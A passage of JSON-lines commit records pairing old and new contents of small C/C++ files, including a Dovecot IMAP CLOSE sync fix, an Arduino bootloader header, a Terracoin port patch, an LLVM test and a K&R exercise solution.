governing permissions and\n\/\/ limitations under the License.\n\n#ifndef MACROS_H__\n#define MACROS_H__\n\n\/\/ GXX_EXPERIMENTAL_CXX0X is defined by gcc and clang up to at least\n\/\/ gcc-4.7 and clang-3.1 (2011-12-13).  __cplusplus was defined to 1\n\/\/ in gcc before 4.7 and clang before 3.1, but is defined according\n\/\/ to the language version in effect thereafter.\n#if defined(__GXX_EXPERIMENTAL_CXX0X__) || __cplusplus >= 201103L\n\/\/ When compiled with clang c++11 standard with warning on switch\n\/\/ fallthrough, tell the compiler not to complain when it was intended.\n#if defined(__clang__) && defined(__has_warning)\n#if __has_feature(cxx_attributes) && __has_warning(\"-Wimplicit-fallthrough\")\n#define FALLTHROUGH_INTENDED [[clang::fallthrough]]  \/\/ NOLINT\n#endif\n#endif\n#endif\n\n\n#ifndef FALLTHROUGH_INTENDED\n#define FALLTHROUGH_INTENDED do { } while (0)\n#endif\n\n#endif \/\/ MACROS_H__\n","subject":"Allow external contributions on src\/main\/native","message":"Allow external contributions on src\/main\/native\n\n--\nMOS_MIGRATED_REVID=90050516\n","lang":"C","license":"apache-2.0","repos":"nkhuyu\/bazel,bitemyapp\/bazel,hhclam\/bazel,mikelikespie\/bazel,charlieaustin\/bazel,snnn\/bazel,mikelalcon\/bazel,variac\/bazel,juhalindfors\/bazel-patches,asarazan\/bazel,vt09\/bazel,kidaa\/bazel,xindaya\/bazel,Ansahmadiba\/bazel,zhexuany\/bazel,iamthearm\/bazel,joshua0pang\/bazel,zhexuany\/bazel,murugamsm\/bazel,damienmg\/bazel,kamalmarhubi\/bazel,ButterflyNetwork\/bazel,dropbox\/bazel,dslomov\/bazel-windows,dropbox\/bazel,kchodorow\/bazel,aehlig\/bazel,gavares\/bazel,cushon\/bazel,dslomov\/bazel,rohitsaboo\/bazel,anupcshan\/bazel,hermione521\/bazel,nkhuyu\/bazel,Topher-the-Geek\/bazel,twitter-forks\/bazel,d\/bazel,Ansahmadiba\/bazel,kchodorow\/bazel,manashmndl\/bazel,iamthearm\/bazel,asarazan\/bazel,mikelikespie\/bazel,kidaa\/bazel,whuwxl\/bazel,kidaa\/bazel,JackSullivan\/bazel,rohitsaboo\/bazel,joshua0pang\/bazel,Ansahmadiba\/bazel,charlieaustin\/bazel,perezd\/bazel,iamthearm\/bazel,Krasnyanskiy\/bazel,variac\/bazel,safarmer\/bazel,perezd\/bazel,nkhuyu\/bazel,akira-baruah\/bazel,bitemyapp\/bazel,werkt\/bazel,d\/bazel,whuwxl\/bazel,hhclam\/bazel,ButterflyNetwork\/bazel,kchodorow\/bazel,meteorcloudy\/bazel,rhuss\/bazel,Ansahmadiba\/bazel,twitter-forks\/bazel,bitemyapp\/bazel,aehlig\/bazel,meteorcloudy\/bazel,murugamsm\/bazel,joshua0pang\/bazel,ButterflyNetwork\/bazel,wakashige\/bazel,charlieaustin\/bazel,Digas29\/bazel,d\/bazel,gavares\/bazel,hermione521\/bazel,nkhuyu\/bazel,JackSullivan\/bazel,LuminateWireless\/bazel,variac\/bazel,ruo91\/bazel,rzagabe\/bazel,spxtr\/bazel,xindaya\/bazel,werkt\/bazel,ulfjack\/bazel,snnn\/bazel,mrdomino\/bazel,meteorcloudy\/bazel,ruo91\/bazel,manashmndl\/bazel,katre\/bazel,akira-baruah\/bazel,dslomov\/bazel,kchodorow\/bazel,bazelbuild\/bazel,rzagabe\/bazel,davidzchen\/bazel,dropbox\/bazel,kchodorow\/bazel-1,wakashige\/bazel,whuwxl\/bazel,Asana\/bazel,xindaya\/bazel,dslomov\/bazel,aehlig\/bazel,rohitsaboo\/bazel,mrdomino\/bazel,UrbanCompass\/bazel,ulfjack\/bazel,asarazan\/bazel,abergmeier-dsfishlabs\/bazel,mikelalcon\/bazel,whuwxl\/bazel,spxtr\/bazel,bazelbuild\/bazel,rhuss\/bazel,werkt\/bazel,ruo91\/bazel,ruo91\/bazel,katre\/bazel,juhalindfors\/bazel-patches,LuminateWireless\/bazel,kchodorow\/bazel,ulfjack\/bazel,aehlig\/bazel,Asana\/bazel,bazelbuild\/bazel,murugamsm\/bazel,Digas29\/bazel,anupcshan\/bazel,hhclam\/bazel,akira-baruah\/bazel,snnn\/bazel,kamalmarhubi\/bazel,xindaya\/bazel,davidzchen\/bazel,whuwxl\/bazel,Topher-the-Geek\/bazel,safarmer\/bazel,xindaya\/bazel,Topher-the-Geek\/bazel,hermione521\/bazel,aehlig\/bazel,hhclam\/bazel,mrdomino\/bazel,ButterflyNetwork\/bazel,bazelbuild\/bazel,werkt\/bazel,gavares\/bazel,wakashige\/bazel,abergmeier-dsfishlabs\/bazel,vt09\/bazel,variac\/bazel,dslomov\/bazel,asarazan\/bazel,hhclam\/bazel,rzagabe\/bazel,mikelikespie\/bazel,twitter-forks\/bazel,anupcshan\/bazel,joshua0pang\/bazel,Asana\/bazel,perezd\/bazel,dinowernli\/bazel,joshua0pang\/bazel,spxtr\/bazel,JackSullivan\/bazel,bitemyapp\/bazel,kchodorow\/bazel-1,JackSullivan\/bazel,manashmndl\/bazel,kchodorow\/bazel,abergmeier-dsfishlabs\/bazel,rhuss\/bazel,damienmg\/bazel,Ansahmadiba\/bazel,dslomov\/bazel-windows,mbrukman\/bazel,mrdomino\/bazel,ruo91\/bazel,mbrukman\/bazel,wakashige\/bazel,LuminateWireless\/bazel,dslomov\/bazel-windows,Krasnyanskiy\/bazel,JackSullivan\/bazel,dinowernli\/bazel,anupcshan\/bazel,juhalindfors\/bazel-patches,cushon\/bazel,katre\/bazel,d\/bazel,safarmer\/bazel,spxtr\/bazel,kchodorow\/bazel-1,Topher-the-Geek\/bazel,variac\/bazel,wakashige\/bazel,dslomov\/bazel,vt09\/bazel,rzagabe\/bazel,nkhuyu\/bazel,spxtr\/bazel,UrbanCompass\/bazel,safarmer\/bazel,dinowernli\/bazel,damienmg\/bazel,kamalmarhubi\/bazel,damienmg\/bazel,iamthearm\/bazel,zhexuany\/bazel,hermione521\/bazel,perezd\/bazel,vt09\/bazel,snnn\/bazel,twitter-forks\/bazel,mbrukman\/bazel,Asana\/bazel,gavares\/bazel,nkhuyu\/bazel,manashmndl\/bazel,ulfjack\/bazel,hermione521\/bazel,ButterflyNetwork\/bazel,sicipio\/bazel,dhootha\/bazel,gavares\/bazel,JackSullivan\/bazel,whuwxl\/bazel,hhclam\/bazel,katre\/bazel,manashmndl\/bazel,kchodorow\/bazel-1,kidaa\/bazel,sicipio\/bazel,bazelbuild\/bazel,Digas29\/bazel,rhuss\/bazel,twitter-forks\/bazel,gavares\/bazel,asarazan\/bazel,murugamsm\/bazel,mikelalcon\/bazel,murugamsm\/bazel,kamalmarhubi\/bazel,sicipio\/bazel,rzagabe\/bazel,aehlig\/bazel,murugamsm\/bazel,meteorcloudy\/bazel,sicipio\/bazel,asarazan\/bazel,kidaa\/bazel,rhuss\/bazel,akira-baruah\/bazel,Krasnyanskiy\/bazel,charlieaustin\/bazel,charlieaustin\/bazel,davidzchen\/bazel,manashmndl\/bazel,Krasnyanskiy\/bazel,ulfjack\/bazel,kamalmarhubi\/bazel,bazelbuild\/bazel,Krasnyanskiy\/bazel,Ansahmadiba\/bazel,bitemyapp\/bazel,mrdomino\/bazel,davidzchen\/bazel,hermione521\/bazel,mbrukman\/bazel,mikelalcon\/bazel,vt09\/bazel,meteorcloudy\/bazel,UrbanCompass\/bazel,damienmg\/bazel,xindaya\/bazel,perezd\/bazel,sicipio\/bazel,meteorcloudy\/bazel,Topher-the-Geek\/bazel,twitter-forks\/bazel,xindaya\/bazel,Digas29\/bazel,rzagabe\/bazel,UrbanCompass\/bazel,ulfjack\/bazel,juhalindfors\/bazel-patches,abergmeier-dsfishlabs\/bazel,cushon\/bazel,JackSullivan\/bazel,bitemyapp\/bazel,rohitsaboo\/bazel,dropbox\/bazel,joshua0pang\/bazel,ruo91\/bazel,Asana\/bazel,dhootha\/bazel,juhalindfors\/bazel-patches,dropbox\/bazel,mikelikespie\/bazel,dhootha\/bazel,mikelalcon\/bazel,kidaa\/bazel,aehlig\/bazel,dhootha\/bazel,akira-baruah\/bazel,dinowernli\/bazel,ButterflyNetwork\/bazel,kchodorow\/bazel-1,davidzchen\/bazel,rhuss\/bazel,dhootha\/bazel,akira-baruah\/bazel,werkt\/bazel,iamthearm\/bazel,dropbox\/bazel,dinowernli\/bazel,dhootha\/bazel,mikelikespie\/bazel,gavares\/bazel,juhalindfors\/bazel-patches,Krasnyanskiy\/bazel,zhexuany\/bazel,snnn\/bazel,Topher-the-Geek\/bazel,safarmer\/bazel,perezd\/bazel,joshua0pang\/bazel,dslomov\/bazel-windows,abergmeier-dsfishlabs\/bazel,dslomov\/bazel-windows,anupcshan\/bazel,rzagabe\/bazel,anupcshan\/bazel,gavares\/bazel,dslomov\/bazel,asarazan\/bazel,zhexuany\/bazel,mrdomino\/bazel,davidzchen\/bazel,dhootha\/bazel,perezd\/bazel,LuminateWireless\/bazel,spxtr\/bazel,meteorcloudy\/bazel,charlieaustin\/bazel,safarmer\/bazel,sicipio\/bazel,davidzchen\/bazel,juhalindfors\/bazel-patches,Digas29\/bazel,kidaa\/bazel,wakashige\/bazel,bitemyapp\/bazel,damienmg\/bazel,kchodorow\/bazel,Krasnyanskiy\/bazel,katre\/bazel,werkt\/bazel,rohitsaboo\/bazel,Krasnyanskiy\/bazel,mbrukman\/bazel,kidaa\/bazel,cushon\/bazel,iamthearm\/bazel,dslomov\/bazel-windows,snnn\/bazel,vt09\/bazel,kchodorow\/bazel-1,bitemyapp\/bazel,damienmg\/bazel,spxtr\/bazel,wakashige\/bazel,manashmndl\/bazel,Digas29\/bazel,mikelikespie\/bazel,twitter-forks\/bazel,rhuss\/bazel,nkhuyu\/bazel,mbrukman\/bazel,Topher-the-Geek\/bazel,kamalmarhubi\/bazel,variac\/bazel,Ansahmadiba\/bazel,snnn\/bazel,ruo91\/bazel,d\/bazel,Topher-the-Geek\/bazel,zhexuany\/bazel,Asana\/bazel,katre\/bazel,vt09\/bazel,Asana\/bazel,LuminateWireless\/bazel,d\/bazel,sicipio\/bazel,UrbanCompass\/bazel,ulfjack\/bazel,cushon\/bazel,variac\/bazel,UrbanCompass\/bazel,d\/bazel,charlieaustin\/bazel,rohitsaboo\/bazel,LuminateWireless\/bazel,dinowernli\/bazel,mikelalcon\/bazel,abergmeier-dsfishlabs\/bazel,cushon\/bazel,dslomov\/bazel,murugamsm\/bazel,rzagabe\/bazel"}
{"commit":"41c4f531895fdaa62972e84d282c95e7fee93f67","old_file":"SwiftyHTTP\/SwiftyHTTP.h","new_file":"SwiftyHTTP\/SwiftyHTTP.h","old_contents":"\/\/\n\/\/  SwiftyHTTP.h\n\/\/  SwiftyHTTP\n\/\/\n\/\/  Created by Helge Hess on 6\/25\/14.\n\/\/  Copyright (c) 2014 Always Right Institute. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n\/\/! Project version number for SwiftyHTTP.\nFOUNDATION_EXPORT double SwiftyHTTPVersionNumber;\n\n\/\/! Project version string for SwiftyHTTP.\nFOUNDATION_EXPORT const unsigned char SwiftyHTTPVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <SwiftyHTTP\/PublicHeader.h>\n\n\n\/\/ No more bridging header in v0.0.4, need to make all C stuff public\n#import <SwiftyHTTP\/Parser\/http_parser.h>\n\n\/\/ I think the originals are not mapped because they are using varargs\nFOUNDATION_EXPORT int ari_fcntlVi (int fildes, int cmd, int val);\nFOUNDATION_EXPORT int ari_ioctlVip(int fildes, unsigned long request, int *val);\n","new_contents":"\/\/\n\/\/  SwiftyHTTP.h\n\/\/  SwiftyHTTP\n\/\/\n\/\/  Created by Helge Hess on 6\/25\/14.\n\/\/  Copyright (c) 2014 Always Right Institute. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n\/\/! Project version number for SwiftyHTTP.\nFOUNDATION_EXPORT double SwiftyHTTPVersionNumber;\n\n\/\/! Project version string for SwiftyHTTP.\nFOUNDATION_EXPORT const unsigned char SwiftyHTTPVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <SwiftyHTTP\/PublicHeader.h>\n\n\n\/\/ No more bridging header in v0.0.4, need to make all C stuff public\n#import <SwiftyHTTP\/http_parser.h>\n\n\/\/ I think the originals are not mapped because they are using varargs\nFOUNDATION_EXPORT int ari_fcntlVi (int fildes, int cmd, int val);\nFOUNDATION_EXPORT int ari_ioctlVip(int fildes, unsigned long request, int *val);\n","subject":"Include http_parser.h from the right spot (public header copied to framework headers)","message":"Include http_parser.h from the right spot (public header copied to framework headers)\n","lang":"C","license":"mit","repos":"AlwaysRightInstitute\/SwiftyHTTP,maxadamski\/SwiftyHTTP,AlwaysRightInstitute\/SwiftyHTTP,maxadamski\/SwiftyHTTP"}
{"commit":"00bec89d716bed1ab1e7846f5fb53d1e4986917c","old_file":"src\/imap\/cmd-close.c","new_file":"src\/imap\/cmd-close.c","old_contents":"\/* Copyright (c) 2002-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n#include \"imap-expunge.h\"\n\nbool cmd_close(struct client_command_context *cmd)\n{\n\tstruct client *client = cmd->client;\n\tstruct mailbox *mailbox = client->mailbox;\n\tstruct mail_storage *storage;\n\n\tif (!client_verify_open_mailbox(cmd))\n\t\treturn TRUE;\n\n\tstorage = mailbox_get_storage(mailbox);\n\tclient->mailbox = NULL;\n\n\tif (!imap_expunge(mailbox, NULL))\n\t\tclient_send_untagged_storage_error(client, storage);\n\n\tif (mailbox_close(&mailbox) < 0)\n                client_send_untagged_storage_error(client, storage);\n\tclient_update_mailbox_flags(client, NULL);\n\n\tclient_send_tagline(cmd, \"OK Close completed.\");\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (c) 2002-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n#include \"imap-expunge.h\"\n\nbool cmd_close(struct client_command_context *cmd)\n{\n\tstruct client *client = cmd->client;\n\tstruct mailbox *mailbox = client->mailbox;\n\tstruct mail_storage *storage;\n\n\tif (!client_verify_open_mailbox(cmd))\n\t\treturn TRUE;\n\n\tstorage = mailbox_get_storage(mailbox);\n\tclient->mailbox = NULL;\n\n\tif (!imap_expunge(mailbox, NULL))\n\t\tclient_send_untagged_storage_error(client, storage);\n\telse if (mailbox_sync(mailbox, 0, 0, NULL) < 0)\n\t\tclient_send_untagged_storage_error(client, storage);\n\n\tif (mailbox_close(&mailbox) < 0)\n                client_send_untagged_storage_error(client, storage);\n\tclient_update_mailbox_flags(client, NULL);\n\n\tclient_send_tagline(cmd, \"OK Close completed.\");\n\treturn TRUE;\n}\n","subject":"Synchronize the mailbox after expunging messages to actually get them expunged.","message":"CLOSE: Synchronize the mailbox after expunging messages to actually get them\nexpunged.\n","lang":"C","license":"mit","repos":"LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot"}
{"commit":"ecccde5f7bb180c5a20005fd20bf0b46ebe6f418","old_file":"hardware\/arduino\/bootloaders\/atmega\/board.h","new_file":"hardware\/arduino\/bootloaders\/atmega\/board.h","old_contents":"","new_contents":"#ifndef BOARD_H\n#define BOARD_H\n\n\/\/ USARTs\n\n#if xplain == TARGET\n    #define BL_PORT      PORTF\n    #define BL_DIR       BL_PORT.DIR\n    #define BL_IN        BL_PORT.IN\n    #define BL_OUT       BL_PORT.OUT\n\n    #define BL_0_PIN     0\n    #define BL_1_PIN     1\n    #define BL_2_PIN     2\n    #define APP_PIN      3\n\n    #define USART_0        USARTC0\n    #define USART_0_PORT   PORTC\n    #define USART_0_RD_PIN 2\n    #define USART_0_WR_PIN 3\n    #define BAUD_RATE      9600UL\n\n    #define USART_1        USARTD0\n    #define USART_1_PORT   PORTD\n    #define USART_1_RD_PIN 2\n    #define USART_1_WR_PIN 3\n    #define BAUD_RATE_1    57600UL\n\n    #define USART_2        USARTD1\n    #define USART_2_PORT   PORTD\n    #define USART_2_RD_PIN 6\n    #define USART_2_WR_PIN 7\n    #define BAUD_RATE_2    57600UL\n#endif\n\n\n\/\/ LED\n\n#if mega == TARGET                \\\n        || CRUMB128     == TARGET \\\n        || PROBOMEGA128 == TARGET \\\n        || SAVVY128     == TARGET\n    #define LED      PINB7\n#elif sanguino == TARGET\n    #define LED      PINB0\n#elif xplain == TARGET\n    \/\/ PORTE\n    #define LED_PORT PORTE\n    #define LED_DDR  LED_PORT.DIR\n    #define LED_OUT  PORTE.OUT\n#endif\n\n\/\/ MONITOR\n\n#if mega == TARGET\n    #define MONITOR_WELCOME \"ATmegaBOOT \/ Arduino Mega - (C) Arduino LLC - 090930\\n\\r\";\n#elif CRUMB128 == TARGET\n    #define MONITOR_WELCOME \"ATmegaBOOT \/ Crumb128 - (C) J.P.Kyle, E.Lins - 050815\\n\\r\";\n#elif PROBOMEGA128 == TARGET\n    #define MONITOR_WELCOME \"ATmegaBOOT \/ PROBOmega128 - (C) J.P.Kyle, E.Lins - 050815\\n\\r\";\n#elif SAVVY128 == TARGET\n    #define MONITOR_WELCOME \"ATmegaBOOT \/ Savvy128 - (C) J.P.Kyle, E.Lins - 050815\\n\\r\";\n#else\n    #define MONITOR_WELCOME \"ATmegaBOOT \/ Unknown\\n\\r\";\n#endif\n\n#endif \/\/ BOARD_H\n","subject":"Add useless bootlader header needed to merge with google code.","message":"Add useless bootlader header needed to merge with google code.\n","lang":"C","license":"lgpl-2.1","repos":"deluxetiky\/xmegaduino,deluxetiky\/xmegaduino,deluxetiky\/xmegaduino,deluxetiky\/xmegaduino,deluxetiky\/xmegaduino,deluxetiky\/xmegaduino"}
{"commit":"4f58adc9a99104feebbc98b4691a7aa461d0016b","old_file":"ports\/terracoin\/files\/patch-src_txmempool.h","new_file":"ports\/terracoin\/files\/patch-src_txmempool.h","old_contents":"--- src\/txmempool.h.orig\t2018-01-11 20:38:04 UTC\n+++ src\/txmempool.h\n@@ -241,7 +241,7 @@ public:\n class CompareTxMemPoolEntryByScore\n {\n public:\n-    bool operator()(const CTxMemPoolEntry& a, const CTxMemPoolEntry& b)\n+    bool operator()(const CTxMemPoolEntry& a, const CTxMemPoolEntry& b) const\n     {\n         double f1 = (double)a.GetModifiedFee() * b.GetTxSize();\n         double f2 = (double)b.GetModifiedFee() * a.GetTxSize();\n@@ -255,7 +255,7 @@ public:\n class CompareTxMemPoolEntryByEntryTime\n {\n public:\n-    bool operator()(const CTxMemPoolEntry& a, const CTxMemPoolEntry& b)\n+    bool operator()(const CTxMemPoolEntry& a, const CTxMemPoolEntry& b) const\n     {\n         return a.GetTime() < b.GetTime();\n     }\n","new_contents":"--- src\/txmempool.h.orig\t2018-01-11 20:38:04 UTC\n+++ src\/txmempool.h\n@@ -204,7 +204,7 @@ struct mempoolentry_txid\n class CompareTxMemPoolEntryByDescendantScore\n {\n public:\n-    bool operator()(const CTxMemPoolEntry& a, const CTxMemPoolEntry& b)\n+    bool operator()(const CTxMemPoolEntry& a, const CTxMemPoolEntry& b) const\n     {\n         bool fUseADescendants = UseDescendantScore(a);\n         bool fUseBDescendants = UseDescendantScore(b);\n@@ -241,7 +241,7 @@ public:\n class CompareTxMemPoolEntryByScore\n {\n public:\n-    bool operator()(const CTxMemPoolEntry& a, const CTxMemPoolEntry& b)\n+    bool operator()(const CTxMemPoolEntry& a, const CTxMemPoolEntry& b) const\n     {\n         double f1 = (double)a.GetModifiedFee() * b.GetTxSize();\n         double f2 = (double)b.GetModifiedFee() * a.GetTxSize();\n@@ -255,7 +255,7 @@ public:\n class CompareTxMemPoolEntryByEntryTime\n {\n public:\n-    bool operator()(const CTxMemPoolEntry& a, const CTxMemPoolEntry& b)\n+    bool operator()(const CTxMemPoolEntry& a, const CTxMemPoolEntry& b) const\n     {\n         return a.GetTime() < b.GetTime();\n     }\n","subject":"Fix build for boost 1.66","message":"Fix build for boost 1.66\n","lang":"C","license":"bsd-2-clause","repos":"tuaris\/FreeBSD-Coin-Ports,tuaris\/FreeBSD-Coin-Ports,tuaris\/FreeBSD-Coin-Ports"}
{"commit":"572c399cc06597282e7192da7e30db7fb4b031a4","old_file":"src\/data\/dataset.h","new_file":"src\/data\/dataset.h","old_contents":"#pragma once\n\n#include \"common\/definitions.h\"\n#include \"data\/batch.h\"\n#include \"data\/rng_engine.h\"\n#include \"data\/vocab.h\"\n#include \"training\/training_state.h\"\n\nnamespace marian {\nnamespace data {\n\ntemplate <class Sample, class Iterator, class Batch>\nclass DatasetBase {\nprotected:\n  \/\/ Data processing may differ in training\/inference settings\n  std::vector<std::string> paths_;\n\n  Ptr<Config> options_;\n  bool inference_{false};\n\n\npublic:\n  typedef Batch batch_type;\n  typedef Ptr<Batch> batch_ptr;\n  typedef Iterator iterator;\n  typedef Sample sample;\n\n  \/\/ @TODO: get rid of Config in favor of Options!\n  DatasetBase(std::vector<std::string> paths, Ptr<Config> options)\n    : paths_(paths), options_(options), inference_(options->get<bool>(\"inference\", false)) {}\n\n  DatasetBase(Ptr<Config> options) : DatasetBase({}, options) {}\n\n\n  virtual Iterator begin() = 0;\n  virtual Iterator end() = 0;\n  virtual void shuffle() = 0;\n\n  virtual Sample next() = 0;\n\n  virtual batch_ptr toBatch(const std::vector<sample>&) = 0;\n\n  virtual void reset() {}\n  virtual void prepare() {}\n  virtual void restore(Ptr<TrainingState>) {}\n};\n\n\n}  \/\/ namespace data\n}  \/\/ namespace marian\n","new_contents":"#pragma once\n\n#include \"common\/definitions.h\"\n#include \"data\/batch.h\"\n#include \"data\/rng_engine.h\"\n#include \"data\/vocab.h\"\n#include \"training\/training_state.h\"\n\nnamespace marian {\nnamespace data {\n\ntemplate <class Sample, class Iterator, class Batch>\nclass DatasetBase {\nprotected:\n  \/\/ Data processing may differ in training\/inference settings\n  std::vector<std::string> paths_;\n\n  Ptr<Config> options_;\n  bool inference_{false};\n\npublic:\n  typedef Batch batch_type;\n  typedef Ptr<Batch> batch_ptr;\n  typedef Iterator iterator;\n  typedef Sample sample;\n\n  \/\/ @TODO: get rid of Config in favor of Options!\n  DatasetBase(std::vector<std::string> paths, Ptr<Config> options)\n      : paths_(paths),\n        options_(options),\n        inference_(options != nullptr ? options->get<bool>(\"inference\", false)\n                                      : false) {}\n\n  DatasetBase(Ptr<Config> options) : DatasetBase({}, options) {}\n\n  virtual Iterator begin() = 0;\n  virtual Iterator end() = 0;\n  virtual void shuffle() = 0;\n\n  virtual Sample next() = 0;\n\n  virtual batch_ptr toBatch(const std::vector<sample>&) = 0;\n\n  virtual void reset() {}\n  virtual void prepare() {}\n  virtual void restore(Ptr<TrainingState>) {}\n};\n\n\n}  \/\/ namespace data\n}  \/\/ namespace marian\n","subject":"Check if options is nullptr in DatasetBase","message":"Check if options is nullptr in DatasetBase\n","lang":"C","license":"mit","repos":"emjotde\/amunmt,marian-nmt\/marian-train,emjotde\/Marian,emjotde\/amunn,amunmt\/marian,amunmt\/marian,marian-nmt\/marian-train,emjotde\/amunmt,emjotde\/amunn,emjotde\/Marian,amunmt\/marian,marian-nmt\/marian-train,marian-nmt\/marian-train,emjotde\/amunmt,emjotde\/amunn,emjotde\/amunmt,marian-nmt\/marian-train,emjotde\/amunn"}
{"commit":"6339d4ab67eebb5868288fa4baf780d35aa36ebb","old_file":"test\/CFrontend\/2007-03-27-ArrayCompatible.c","new_file":"test\/CFrontend\/2007-03-27-ArrayCompatible.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -S %s -O2 -o - | grep {ret i8 0}\nstatic char c(int n) {\n  char x[2][n];\n  x[1][0]=0;\n  return *(n+(char *)x);\n}\n\nchar d(void) {\n  return c(2);\n}\n","subject":"Check handling of arrays of variable sized components.","message":"Check handling of arrays of variable sized components.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@36162 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm"}
{"commit":"83bf5a83b9296d6fe16e55d2c54209c35d2fa20b","old_file":"test\/test_mutex.c","new_file":"test\/test_mutex.c","old_contents":"\/* This file is part of the YAZ toolkit.\n * Copyright (C) 1995-2010 Index Data\n * See the file LICENSE for details.\n *\/\n\n#include <stdlib.h>\n#include <stdio.h>\n\n#include <yaz\/mutex.h>\n#include <yaz\/test.h>\n#include <yaz\/log.h>\n\nstatic void tst(void)\n{\n    YAZ_MUTEX p = 0;\n\n    yaz_mutex_create(&p);\n    YAZ_CHECK(p);\n    yaz_mutex_enter(p);\n    yaz_mutex_leave(p);\n    yaz_mutex_destroy(&p);\n    YAZ_CHECK(p == 0);\n\n    yaz_mutex_create(&p);\n    YAZ_CHECK(p);\n    yaz_mutex_set_name(p, YLOG_LOG, \"mymutex\");\n    yaz_mutex_enter(p);\n    yaz_mutex_leave(p);\n    yaz_mutex_destroy(&p);\n    YAZ_CHECK(p == 0);\n}\n\nint main (int argc, char **argv)\n{\n    YAZ_CHECK_INIT(argc, argv);\n    YAZ_CHECK_LOG();\n    tst();\n    YAZ_CHECK_TERM;\n}\n\n\/*\n * Local variables:\n * c-basic-offset: 4\n * c-file-style: \"Stroustrup\"\n * indent-tabs-mode: nil\n * End:\n * vim: shiftwidth=4 tabstop=8 expandtab\n *\/\n\n","new_contents":"\/* This file is part of the YAZ toolkit.\n * Copyright (C) 1995-2010 Index Data\n * See the file LICENSE for details.\n *\/\n\n#include <stdlib.h>\n#include <stdio.h>\n\n#include <yaz\/mutex.h>\n#include <yaz\/test.h>\n#include <yaz\/log.h>\n\nstatic void tst(void)\n{\n    YAZ_MUTEX p = 0;\n\n    yaz_mutex_create(&p);\n    YAZ_CHECK(p);\n    yaz_mutex_enter(p);\n    yaz_mutex_leave(p);\n    yaz_mutex_destroy(&p);\n    YAZ_CHECK(p == 0);\n\n    yaz_mutex_create(&p);\n    YAZ_CHECK(p);\n    yaz_mutex_set_name(p, YLOG_LOG, \"mymutex\");\n    yaz_mutex_enter(p);\n    yaz_mutex_leave(p);\n    yaz_mutex_destroy(&p);\n    YAZ_CHECK(p == 0);\n\n    yaz_mutex_destroy(&p); \/* OK to \"destroy\" NULL handle *\/\n}\n\nint main (int argc, char **argv)\n{\n    YAZ_CHECK_INIT(argc, argv);\n    YAZ_CHECK_LOG();\n    tst();\n    YAZ_CHECK_TERM;\n}\n\n\/*\n * Local variables:\n * c-basic-offset: 4\n * c-file-style: \"Stroustrup\"\n * indent-tabs-mode: nil\n * End:\n * vim: shiftwidth=4 tabstop=8 expandtab\n *\/\n\n","subject":"Add one call to yaz_mutex_destroy in test","message":"Add one call to yaz_mutex_destroy in test\n","lang":"C","license":"bsd-3-clause","repos":"nla\/yaz,dcrossleyau\/yaz,nla\/yaz,dcrossleyau\/yaz,nla\/yaz,nla\/yaz,dcrossleyau\/yaz"}
{"commit":"e431f2220e18d698eb802d661f4f3c3082b6d8f6","old_file":"exercise110.c","new_file":"exercise110.c","old_contents":"","new_contents":"\/* Exercise 1-10: Write a program to copy its input to its output, replacing\n * each tab by \\t, each backspace by \\b, and each backslash by \\\\. This makes\n * tabs and backspaces visible in an unambiguous way. *\/\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint main(int argc, char **argv)\n{\n  int16_t character;\n  while ((character = getchar()) != EOF) {\n    switch (character) {\n      case '\\t':\n        putchar('\\\\');\n        putchar('t');\n        break;\n      case '\\b':\n        putchar('\\\\');\n        putchar('b');\n        break;\n      case '\\\\':\n        putchar('\\\\');\n        putchar('\\\\');\n        break;\n      default:\n        putchar(character);\n    }\n  }\n  return EXIT_SUCCESS;\n}\n","subject":"Add solution to Exercise 1-10.","message":"Add solution to Exercise 1-10.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
